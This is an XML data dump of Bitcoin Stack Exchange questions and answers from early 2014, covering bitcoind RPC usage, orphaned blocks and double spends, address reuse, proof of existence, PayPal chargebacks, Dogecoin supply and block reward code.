  <row Id="19694" PostTypeId="2" ParentId="19683" CreationDate="2014-01-01T23:04:35.713" Score="2" Body="&lt;p&gt;You can limit CPU (even per core) usage per process. Doing so would keep your CPU cycles low and wouldn't cause all that trouble to your computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to do this is to set soft limits directly to your O/S, as described &lt;a href=&quot;https://wiki.archlinux.org/index.php/Realtime_process_management&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A freeware that also works is: &lt;a href=&quot;http://sourceforge.net/projects/cpulimit/files/cpulimit/cpulimit/&quot; rel=&quot;nofollow&quot;&gt;cpulimit&lt;/a&gt;, although I would strongly suggest you tune you real-time process management directly from your console, as described above.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-01T23:04:35.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19695" PostTypeId="1" AcceptedAnswerId="30633" CreationDate="2014-01-01T23:08:01.943" Score="5" ViewCount="5058" Body="&lt;p&gt;I have run bitcoind and have several accounts. How do I get the immature balance of one account using RPC calls (if possible) ?&lt;/p&gt;&#xA;" OwnerUserId="4060" LastEditorUserId="5406" LastEditDate="2014-09-24T15:08:20.587" LastActivityDate="2018-08-09T12:39:34.203" Title="How to get the immature balance of an account?" Tags="|bitcoind|json-rpc|immature-coins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19697" PostTypeId="2" ParentId="19695" CreationDate="2014-01-02T00:09:55.750" Score="0" Body="&lt;p&gt;With the getbalance command you can specify an account and minimum confirms, I'm assuming my immature balance you mean account balance containing unconfirmed transactions. By default it's at one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getbalance [account] [minconf=1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-02T00:09:55.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19698" PostTypeId="1" CreationDate="2014-01-02T01:11:29.580" Score="5" ViewCount="3404" Body="&lt;p&gt;I'm confused by double-spend linked below, in which both transactions ended up in blocks mined by different miners.  Specifically, I'm wondering if there's any way to tell what exactly happened based on the available information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx-index/95574751&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx-index/95574751&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on my limited understanding of bitcoin, I'm assuming this could have happened in one of the following three ways. If I'm wrong, or if I'm missing other possibilities, could someone please let me know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The double-spender broadcast the first transaction to the network, and then mined his own block containing a transaction using the same output.  He ultimately wasn't able to &quot;outrun&quot; the honest blockchain, but he managed to mine his block quickly enough that some nodes in the network received it before receiving the longer blockchain. So both blocks were briefly accepted by parts of the network, and one was eventually &quot;orphaned&quot; (so its transactions are unconfirmed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Same situation, but the double-spender's blockchain prevailed and the block containing the first transaction broadcast to the network was orphaned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The double-spender didn't mine anything, he just tried a normal double-spend against someone who doesn't require confirmations. Both transactions happened to be included in blocks that were mined simultaneously by different miners in the network, and one was orphaned.&lt;/p&gt;&#xA;" OwnerUserId="11659" LastEditorUserId="5406" LastEditDate="2023-10-20T17:29:14.810" LastActivityDate="2023-10-20T17:29:14.810" Title="Can someone explain this double spend on blockchain.info?" Tags="|doublespend|stale-block|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19699" PostTypeId="2" ParentId="19698" CreationDate="2014-01-02T03:51:05.683" Score="2" Body="&lt;p&gt;Nothing malicious.  Two blocks were mined at the same time by different miners (Block 267647).  Both blocks included the transaction and both were broadcast to the network.  Both blocks show up in the block chain because you don't know who actually won until additional blocks are mined and added to one chain or the other.  The chain with the greatest amount of work done on it becomes the main chain and the other one gets orphaned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why you need to wait for several confirmations before spending an output.  If you spent it as soon as you saw one of the blocks, your transaction could get rejected later on if the other block ended up winning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tell this is what happened because the transaction ID is the same in both blocks.  In a double-spend, you would have two separate transactions attempting to spend the same transaction output.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="9301" LastEditDate="2014-01-02T03:56:55.370" LastActivityDate="2014-01-02T03:56:55.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19700" PostTypeId="2" ParentId="1629" CreationDate="2014-01-02T06:11:39.780" Score="18" Body="&lt;p&gt;While the other answers are slightly true, there's another reason. Addresses which have been spent are inherently less secure than unspent addresses. This is because, when spending on an address, you reveal the public key to the address. This means that in order to steal those funds, you only need to find the private key, whereas normally you'd need to break the hash and find the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these tasks are extremely difficult, so for now it's not much of a concern if you send to spent addresses. The problem arises with the theoretical quantum computer. ECDSA, the technology which secures your private key, is extremely easy for quantum computers to reverse. The hash isn't. Therefore, when quantum computers become popular used addresses will become exponentially less secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info at &lt;a href=&quot;https://bitcoin.stackexchange.com/a/7134/11666&quot;&gt;https://bitcoin.stackexchange.com/a/7134/11666&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=153302.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=153302.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the BitcoinTalk post, the concern brought up about hackers cracking transactions between broadcast and inclusion in blocks is reasonable. Fortunately, honest miners include the first transaction first regardless of fee, so that attack is foiled. It is also prevented by the fact that it would still take quite some time to crack the public key.&lt;/p&gt;&#xA;" OwnerUserId="11666" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-07-25T07:51:23.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19701" PostTypeId="2" ParentId="13155" CreationDate="2014-01-02T07:41:55.113" Score="2" Body="&lt;p&gt;Because it doesn't re-broadcast any non confirmed transaction, it re-broadcast only your own non-confirmed transactions. So you will be the only node on the entire network who is doing the re-broadcast every exact 30 minutes and based on this anyone can get what IP is originating that transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few lines below your code example you find this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOST_FOREACH(PAIRTYPE(const uint256, CWalletTx)&amp;amp; item, mapWallet)&#xA;{&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will loop on the transactions of your own wallet (mapWallet), not all the network transactions.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="132" LastEditDate="2014-01-02T19:49:40.617" LastActivityDate="2014-01-02T19:49:40.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19702" PostTypeId="1" CreationDate="2014-01-02T09:00:38.217" Score="1" ViewCount="549" Body="&lt;p&gt;How can I associate a transaction with a unique user in a shared online wallet? It makes no sense to have one wallet account per user in the shared wallet as it would degrade performance (say I have 1M users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, I need to have bitcoind running in parallel with a database that hosts all the users and when a transaction comes in update the balance of the particular user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: how do I identify with which user this transaction is associated?&lt;/p&gt;&#xA;" OwnerUserId="11286" LastEditorUserId="1489" LastEditDate="2014-03-03T19:23:19.793" LastActivityDate="2014-04-02T20:10:31.093" Title="Associating a bitcoin address with a user in a shared wallet" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19703" PostTypeId="1" AcceptedAnswerId="19708" CreationDate="2014-01-02T09:07:00.533" Score="4" ViewCount="835" Body="&lt;p&gt;&lt;a href=&quot;http://www.proofofexistence.com/about&quot; rel=&quot;nofollow&quot;&gt;http://www.proofofexistence.com/about&lt;/a&gt; -- &quot;Use our service to anonymously and securely store an online distributed proof of existence for any document.&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The document is certified via embedding its SHA256 digest in the bitcoin blockchain. This is done by generating a special bitcoin transaction that encodes/contains the hash via an OP_RETURN script. This is a bitcoin scripting opcode that marks the transaction output as provably unspendable and allows a small amount of data to be inserted, which in our case is the document's hash, plus a marker to identify all of our transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Naïve question perhaps, but if the bitcoins are lost forever, this seems like an unfriendly use of the bitcoin protocol and the blockchain, and future versions of the protocol may prevent this type of transaction from being accepted into the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="11667" LastEditorUserId="2306" LastEditDate="2014-10-24T02:36:37.587" LastActivityDate="2014-10-24T09:25:44.893" Title="Does Proof of Existence lose bitcoins?" Tags="|blockchain|proof-of-existence|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19704" PostTypeId="2" ParentId="19702" CreationDate="2014-01-02T09:08:16.930" Score="1" Body="&lt;p&gt;You generate and store the receiving bitcoin addresses of each user in the database. Then you poll bitcoind for new transactions for the all the receiving address you have in your database. When the receiving bitcoin address has incoming transaction, then you follow the relation from the receiving bitcoin address to the user and then credit the transaction on the user's database balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of this is covered in my tutorial &lt;a href=&quot;http://opensourcehacker.com/2013/10/16/accepting-and-spending-bitcoins-in-a-django-application/#Accepting_incoming_transaction&quot; rel=&quot;nofollow&quot;&gt;Accepting bitcoins in Django application&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-01-02T09:08:16.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19705" PostTypeId="1" CreationDate="2014-01-02T09:29:06.283" Score="0" ViewCount="1083" Body="&lt;p&gt;Is there a way to mine bitcoins without installing a client, that is can I do it in PHP or Node.js by adding some libraries etc which replicate what the bitcoin client would do(more or less)?&lt;/p&gt;&#xA;" OwnerUserId="9430" LastEditorUserId="5406" LastEditDate="2016-04-25T21:04:05.963" LastActivityDate="2016-04-25T22:20:08.723" Title="Mining without using client" Tags="|mining-software|webminer|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19707" PostTypeId="1" CreationDate="2014-01-02T10:12:47.870" Score="0" ViewCount="1178" Body="&lt;p&gt;Is Bitcoin a threat or competitor to Paypal? Is this the reason that very few websites support purchasing BTC via Paypal?&lt;/p&gt;&#xA;" OwnerUserId="9009" LastEditorUserId="5464" LastEditDate="2014-01-02T11:20:13.207" LastActivityDate="2015-01-30T23:39:52.303" Title="Is Bitcoin a threat to Paypal and why one cannot buy bitcoins with PayPal?" Tags="|paypal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19708" PostTypeId="2" ParentId="19703" CreationDate="2014-01-02T10:15:25.540" Score="4" Body="&lt;p&gt;Well, it's probably not an intended function of the block chain, but I wouldn't call it &quot;unfriendly&quot; because you're not really harming anybody (by reducing the total amount of bitcoins available you're in fact &lt;em&gt;increasing&lt;/em&gt; the value of all other bitcoins a little).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] future versions of the protocol may prevent this type of transaction&#xA;  from being accepted into the blockchain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, because it's not possible. The transaction encoding the document hash looks exactly like any other normal pay-to-address transaction. The only difference is the address which is a representation of the document hash instead of a hashed public key, and therefore there is no private key associated with it (that's why it is unspendable). You can't go back from a hash to it's origin though, so you will never know whether it's spendable or not.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="5406" LastEditDate="2014-10-24T09:25:44.893" LastActivityDate="2014-10-24T09:25:44.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19709" PostTypeId="2" ParentId="19705" CreationDate="2014-01-02T10:15:48.043" Score="0" Body="&lt;p&gt;You can mine for Mining Pools, which doesn't require you to have a client running. You just enter the mining pool address in your mining program. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-02T10:15:48.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19710" PostTypeId="2" ParentId="19707" CreationDate="2014-01-02T10:22:13.110" Score="2" Body="&lt;p&gt;Unlike PayPal payments, Bitcoin payments are not reversible. PayPal payments are reversible up to 60 days.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Accepting PayPal payments to pay for bitcoins exposes your service to a stolen credit card fraud and PayPal &lt;a href=&quot;https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&amp;amp;content_ID=brc/combat_friendly_fraud&quot; rel=&quot;nofollow&quot;&gt;friendly fraud&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The fraudulent buyer makes the payment in PayPal, then the payment is disputed few days after the buyer received the bitcoins. When the PayPal payment is disputed, the seller of bitcoin is left without 1) bitcoins 2) fiat currency payment&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&amp;amp;content_ID=brc/combat_friendly_fraud&quot; rel=&quot;nofollow&quot;&gt;Because PayPal is somewhat hostile towards using their payment service for selling virtual currencies&lt;/a&gt;, the bitcoin seller has little or no means to combat against fraudulent payments or disputed when accepting PayPal payments&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Thus, the result is that running a profitable bitcoin selling business which accepts PayPal payments is difficult, though not outright impossible. &lt;a href=&quot;https://localbitcoins.com/buy-bitcoins-online/paypal/&quot; rel=&quot;nofollow&quot;&gt;Thus, all bitcoin sellers who accept PayPal have very high risk premiums&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is threat to the PayPal business in the sense that PayPal is global dominating online payment solution and bitcoin could replace PayPal payments in many scenarios, like ordering items online internationally or remittance (sending money to your foreign friends).&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-01-02T10:22:13.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19711" PostTypeId="2" ParentId="19705" CreationDate="2014-01-02T10:59:11.970" Score="0" Body="&lt;p&gt;You will have to use some sort of program or script to do this. There are several ways, I have used &lt;code&gt;cgminer&lt;/code&gt;for my mining. You can grab it from here: &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckolivas/cgminer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version &lt;code&gt;3.7.2&lt;/code&gt; is the last to support GPU mining if your into that sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tested these but I found this one for Node.js:&#xA;&lt;a href=&quot;https://npmjs.org/package/bitcoinjs&quot; rel=&quot;nofollow&quot;&gt;https://npmjs.org/package/bitcoinjs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="11671" LastActivityDate="2014-01-02T10:59:11.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19713" PostTypeId="2" ParentId="19122" CreationDate="2014-01-02T11:14:10.187" Score="1" Body="&lt;p&gt;Try instead GPU mining with &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;Cgminer 3.7.2&lt;/a&gt; it has always worked well for me. Using CPU on a machine only, is really not worth it.&lt;/p&gt;&#xA;" OwnerUserId="11671" LastActivityDate="2014-01-02T11:14:10.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19714" PostTypeId="1" CreationDate="2014-01-02T13:37:09.683" Score="5" ViewCount="301" Body="&lt;p&gt;I'm creating a web application where many, many transactions will take place in a day. I have the bitcoin daemon running on a VPS and talking to my web app via JSON-RPC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The users on my website will be generating many different addresses and sending many different bitcoins to these addresses (much more than the 100 keys by default in the keypool).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I simply set the keypool size to be something like 100,000 (or the max number of addresses generated per day) then perform a daily backup? Or what other method is the best when dealing with a very large amount of address generations?&lt;/p&gt;&#xA;" OwnerUserId="11677" LastActivityDate="2014-09-03T16:47:46.607" Title="Bitcoind Keypool Best Practices For Web App" Tags="|json-rpc|website-integration|keypool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19716" PostTypeId="2" ParentId="4243" CreationDate="2014-01-02T15:10:27.117" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://quickbitcoin.co.uk/&quot; rel=&quot;nofollow&quot;&gt;https://quickbitcoin.co.uk/&lt;/a&gt; are based in the UK, and accept bank transfers from any bank within the faster payments network - that includes many Irish banks.&lt;/p&gt;&#xA;" OwnerUserId="5657" LastActivityDate="2014-01-02T15:10:27.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19717" PostTypeId="1" AcceptedAnswerId="19868" CreationDate="2014-01-02T15:46:18.807" Score="4" ViewCount="20152" Body="&lt;p&gt;On &lt;a href=&quot;http://dogepay.com/&quot; rel=&quot;nofollow&quot;&gt;http://dogepay.com/&lt;/a&gt; I read that 19% of Dogecoins have been already mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this measure accurate? (So much mined, wow.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long it takes to mine them all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When all dogecoins have been mined, how can transactions happen?&lt;/p&gt;&#xA;" OwnerUserId="9462" LastEditorUserId="5406" LastEditDate="2014-03-25T23:00:47.093" LastActivityDate="2014-03-25T23:00:47.093" Title="Percentage of mined Dogecoins" Tags="|dogecoin|reward-schedule|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19718" PostTypeId="1" AcceptedAnswerId="19749" CreationDate="2014-01-02T16:22:05.387" Score="5" ViewCount="1349" Body="&lt;p&gt;I haven't realized until recently how many different crypto-currencies have emerged the last years; &lt;a href=&quot;http://coinmarketcap.com/&quot;&gt;coinmarketcap.com&lt;/a&gt; lists around 60 of them&lt;sup&gt;*&lt;/sup&gt; and it seems that it isn't even a complete list (for example allahcoin that I've read about recently at HN is not listed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess most of them are derived from Bitcoin and are somehow different trying to solve a real problem, eg Litecoin being more efficiently mined to reduce energy costs, but some are simply clones with only minor twists if any at all, or trying to appeal only specific audiences (gaming community, sex shoppers etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be interesting for me and others, a simple comparison list that explains in a few words &lt;strong&gt;how the concept of each currency is different to Bitcoin and what problems are they trying to solve&lt;/strong&gt;, and not other details such as market capitalization, initial reward, who created it etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related lists:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_cryptocurrencies&quot;&gt;http://en.wikipedia.org/wiki/List_of_cryptocurrencies&lt;/a&gt; (interesting but doesn't explain the differences of the concept)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&quot;&gt;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=134179.0&quot;&gt;https://bitcointalk.org/index.php?topic=134179.0&lt;/a&gt; (by far the most complete list and quite close to what I'm asking, but doesn't explain clearly IMHO in all items what are the differences from Bitcoin)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;* Follows the list of currencies found in coinmarketcap.com that I'm interested in; description of additional active ones are of course welcome: Litecoin, MasterCoin, Peercoin, Nxt, Namecoin, Quark, ProtoShares, WorldCoin, Megacoin, Primecoin, Feathercoin, Infinitecoin, DogeCoin, Novacoin, Zetacoin, Devcoin, Anoncoin, Digitalcoin, Freicoin, Copperlark, Terracoin, Ixcoin, Cryptogenic Bullion, NetCoin, GoldCoin, Tickets, BBQCoin, StableCoin, Sexcoin, Fastcoin, Deutsche eMark, Unobtanium, MemoryCoin, Datacoin, GrandCoin, Yacoin, FlorinCoin, Mincoin, I0Coin, Tigercoin, BetaCoin, Luckycoin, TagCoin, Diamond, GlobalCoin, BitBar, CasinoCoin, EZCoin, Philosopher Stones, Phoenixcoin, Orbitcoin, Bytecoin, GameCoin, Argentum, Franko, HoboNickels, Noirbits, Joulecoin, CraftCoin, Elacoin, Junkcoin, Spots.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="11515" LastEditorUserId="11515" LastEditDate="2014-01-02T16:27:07.707" LastActivityDate="2014-01-05T10:00:38.657" Title="Comparison of different active cryptocurrencies" Tags="|currencies|" AnswerCount="1" CommentCount="2" ClosedDate="2014-01-09T20:43:57.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="19719" PostTypeId="2" ParentId="19717" CreationDate="2014-01-02T16:33:24.393" Score="4" Body="&lt;p&gt;In a way, you're asking the exact same questions plenty of people have regarding Bitcoin - once the mining period is over, how are new blocks to be created if fees are still voluntary? (you can check this Q&amp;amp;A site as well as the official Bitcoin forum, it's been asked a number of times, on a personal level no answer has completely convinced me yet)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then Dogecoin was created as a half-serious joke more than as an attempt to create a &quot;serious&quot; currency, and it's original use was to send digital tokens of appreciation to people deemed to be doing good actions. So probably in the same spirit some people will keep mining even when they're not receiving dogecoins directly for doing so, and request direct donations to keep working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, looking at the dogecoin's community spirit, it might as well work! After all, you don't see too often users of a crypto-currency collecting money to compensate the poor souls who were robbed of their dogecoins on Christmas (of all days...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post Edit: I was wrong. 100 billion is not a hard-coded limit of dogecoins that will ever be, just the point at which reward becomes constant. Dogecoin is inflationary, its blocks will continue to pay out to miners forever, producing a positive but ever decreasing inflation in the M0.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="4748" LastEditDate="2014-02-25T22:17:53.567" LastActivityDate="2014-02-25T22:17:53.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19720" PostTypeId="1" CreationDate="2014-01-02T16:38:31.443" Score="3" ViewCount="3003" Body="&lt;p&gt;Blockchain.info allows you to look at the raw hex of a transaction. But it doesn't have testnet functionality. Blockexplorer allows you to look at testnet, but I can't find a way to show the hex dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions?&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditDate="2014-01-02T21:38:04.443" LastActivityDate="2019-02-06T19:22:27.573" Title="Block explorer with testnet raw hex data" Tags="|transactions|blockchain|testnet|blockexplorer|" AnswerCount="3" CommentCount="1" ClosedDate="2023-12-19T15:50:13.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="19724" PostTypeId="1" AcceptedAnswerId="19738" CreationDate="2014-01-02T17:21:05.750" Score="2" ViewCount="1807" Body="&lt;p&gt;Most p2p mines (like &lt;a href=&quot;http://p2pool.org/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;) have the following norm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Don't use an exchange address!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am mining alt cryptocurrencies but I do not have a real interest in maintaining a separate wallet for every kind of currency. Why they do not admit addresses from exchange sites?&lt;/p&gt;&#xA;" OwnerUserId="11682" LastEditorUserId="5406" LastEditDate="2016-04-17T20:46:01.667" LastActivityDate="2016-04-17T20:46:01.667" Title="Why can not use an exchange address for p2p mining?" Tags="|miner-configuration|p2pool|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19726" PostTypeId="1" CreationDate="2014-01-02T18:00:04.857" Score="1" ViewCount="423" Body="&lt;p&gt;Please help me with getwork protocol for litecoin miner.There is mixed info online about endiannes of data provided by getwork and data that should be submitted to mining pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://litecoin.info/Scrypt&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Scrypt&lt;/a&gt; the data recieved has to be split into parts  and each part has to be be byteswapped to little endian(even the 32byte merkle root has to be byteswapped so 31'th byte is 1'st and so on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to pooler's implementation in java &lt;a href=&quot;https://github.com/pooler/JMiner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pooler/JMiner&lt;/a&gt; the header is byteswapped per 4 byte chunks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then after hashing this header with scrypt, I don't know if I am supposed to check first bytes or last bytes in hash because of endianness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am implementing getwork because I have code for stratum, but i am lost in all the endianness so I want to implement getwork to get all endian issues sorted and then use stratum to generate block headers according to rest of the &quot;proper&quot; spec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose Bitcoin and litecoin may have same specification, but i am not sure.&lt;/p&gt;&#xA;" OwnerUserId="11493" LastEditorUserId="5406" LastEditDate="2016-04-24T12:29:17.600" LastActivityDate="2016-04-24T12:29:17.600" Title="Litecoin getwork specification, endianness" Tags="|litecoin|mining-technical-details|getwork|block-header|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19727" PostTypeId="1" AcceptedAnswerId="19728" CreationDate="2014-01-02T18:31:19.437" Score="3" ViewCount="731" Body="&lt;p&gt;Many coins have dynamic block reward over the time, for example Bitcoin was 50BTC/block years ago and now 25BTC. My question is how is it defined in the source code ? I searched in Litecoin's source code but found nothing... Is it done manually by releasing a new version each xxxx blocks ?&lt;/p&gt;&#xA;" OwnerUserId="11689" LastActivityDate="2014-01-02T19:27:59.483" Title="How is block reward set in time?" Tags="|block|mining-reward|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19728" PostTypeId="2" ParentId="19727" CreationDate="2014-01-02T19:27:59.483" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;http://github.com/bitcoin/bitcoin/blob/6e7792003b5c520fcc81d223f07471d690594081/src/main.cpp#L996&quot; rel=&quot;nofollow&quot;&gt;relevant function&lt;/a&gt; in the current latest git revision:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int64_t GetBlockValue(int nHeight, int64_t nFees)&#xA;{&#xA;    int64_t nSubsidy = 50 * COIN;&#xA;&#xA;    // Subsidy is cut in half every 210,000 blocks which will occur approximately every 4 years.&#xA;    nSubsidy &amp;gt;&amp;gt;= (nHeight / Params().SubsidyHalvingInterval());&#xA;&#xA;    return nSubsidy + nFees;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is used &lt;a href=&quot;http://github.com/bitcoin/bitcoin/blob/6e7792003b5c520fcc81d223f07471d690594081/src/main.cpp#L1667&quot; rel=&quot;nofollow&quot;&gt;later in ConnectBlock()&lt;/a&gt;, as follows :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (block.vtx[0].GetValueOut() &amp;gt; GetBlockValue(pindex-&amp;gt;nHeight, nFees))&#xA;        return state.DoS(100,&#xA;                         error(&quot;ConnectBlock() : coinbase pays too much (actual=%&quot;PRId64&quot; vs limit=%&quot;PRId64&quot;)&quot;,&#xA;                               block.vtx[0].GetValueOut(), GetBlockValue(pindex-&amp;gt;nHeight, nFees)),&#xA;                         REJECT_INVALID, &quot;coinbase too large&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-01-02T19:27:59.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
